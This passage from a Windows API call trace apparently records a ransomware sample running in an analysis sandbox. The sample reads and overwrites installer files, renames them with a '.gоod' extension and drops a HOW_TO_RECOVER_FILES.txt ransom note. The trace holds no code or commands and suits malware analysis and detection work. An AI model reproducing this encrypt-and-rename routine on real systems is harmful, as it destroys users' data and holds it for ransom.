lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0112.988] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x356e118 | out: lpFileInformation=0x356e118*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd)) returned 1 [0112.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0112.988] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFilePart=0x0) returned 0x23 [0112.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0112.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.988] GetFileType (hFile=0x6e0) returned 0x1 [0112.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0112.988] GetFileType (hFile=0x6e0) returned 0x1 [0112.988] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xbfd [0112.988] ReadFile (in: hFile=0x6e0, lpBuffer=0x356ef20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x356ef20*, lpNumberOfBytesRead=0x1f6edc28*=0xbfd, lpOverlapped=0x0) returned 1 [0114.045] CloseHandle (hObject=0x6e0) returned 1 [0114.072] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFilePart=0x0) returned 0x23 [0114.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0114.072] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0114.715] GetFileType (hFile=0x6e8) returned 0x1 [0114.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0114.729] GetFileType (hFile=0x6e8) returned 0x1 [0115.568] WriteFile (in: hFile=0x6e8, lpBuffer=0x37b42a0*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x37b42a0*, lpNumberOfBytesWritten=0x1f6edb38*=0xc00, lpOverlapped=0x0) returned 1 [0115.568] CloseHandle (hObject=0x6e8) returned 1 [0115.569] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFilePart=0x0) returned 0x23 [0115.569] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0115.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0115.569] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x41181703, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1 [0115.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0115.569] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.gоod")) returned 1 [0115.572] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0115.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0115.573] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x37b5468 | out: lpFileInformation=0x37b5468*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c)) returned 1 [0115.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0115.573] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0115.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0115.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0115.573] GetFileType (hFile=0x6e8) returned 0x1 [0115.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0115.573] GetFileType (hFile=0x6e8) returned 0x1 [0115.573] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0115.573] ReadFile (in: hFile=0x6e8, lpBuffer=0x37b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b5830*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0115.575] CloseHandle (hObject=0x6e8) returned 1 [0115.575] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0115.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0115.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0115.575] GetFileType (hFile=0x6e8) returned 0x1 [0115.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0115.575] GetFileType (hFile=0x6e8) returned 0x1 [0115.575] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1387c [0115.575] WriteFile (in: hFile=0x6e8, lpBuffer=0x37b6aa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x37b6aa0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0115.576] CloseHandle (hObject=0x6e8) returned 1 [0115.576] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0115.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0115.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0115.576] GetFileType (hFile=0x6e8) returned 0x1 [0115.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0115.576] GetFileType (hFile=0x6e8) returned 0x1 [0115.576] ReadFile (in: hFile=0x6e8, lpBuffer=0x37b8d38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x37b8d38*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0116.199] CloseHandle (hObject=0x6e8) returned 1 [0116.199] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0116.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.199] GetFileType (hFile=0x6e8) returned 0x1 [0116.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.199] GetFileType (hFile=0x6e8) returned 0x1 [0116.199] WriteFile (in: hFile=0x6e8, lpBuffer=0x32f31a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x32f31a0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0116.199] CloseHandle (hObject=0x6e8) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0116.200] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0116.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0116.200] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4179d762, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1388c)) returned 1 [0116.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0116.200] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.gоod")) returned 1 [0116.200] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0116.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0116.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\3082\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0116.201] GetFileType (hFile=0x6e8) returned 0x1 [0116.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0116.201] GetFileType (hFile=0x6e8) returned 0x1 [0116.202] WriteFile (in: hFile=0x6e8, lpBuffer=0x3477b48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3477b48*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0116.202] CloseHandle (hObject=0x6e8) returned 1 [0116.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0116.203] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client", lpFilePart=0x0) returned 0x1c [0116.203] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.203] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0116.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0116.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.204] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0116.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0116.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0116.204] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client", lpFilePart=0x0) returned 0x1c [0116.204] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.204] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0116.205] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0116.205] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0116.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0116.205] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0116.205] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x3486a50 | out: lpFileInformation=0x3486a50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444)) returned 1 [0116.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0116.205] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.206] GetFileType (hFile=0x6e8) returned 0x1 [0116.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.206] GetFileType (hFile=0x6e8) returned 0x1 [0116.206] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0116.206] ReadFile (in: hFile=0x6e8, lpBuffer=0x3486e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3486e18*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0116.207] CloseHandle (hObject=0x6e8) returned 1 [0116.207] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.207] GetFileType (hFile=0x6e8) returned 0x1 [0116.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.207] GetFileType (hFile=0x6e8) returned 0x1 [0116.208] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x31444 [0116.208] WriteFile (in: hFile=0x6e8, lpBuffer=0x3488088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3488088*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0116.208] CloseHandle (hObject=0x6e8) returned 1 [0116.208] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0116.209] GetFileType (hFile=0x6e8) returned 0x1 [0116.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0116.209] GetFileType (hFile=0x6e8) returned 0x1 [0116.209] ReadFile (in: hFile=0x6e8, lpBuffer=0x348a320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x348a320*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0116.236] CloseHandle (hObject=0x6e8) returned 1 [0116.236] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x0) returned 0x2e [0116.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0116.236] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: 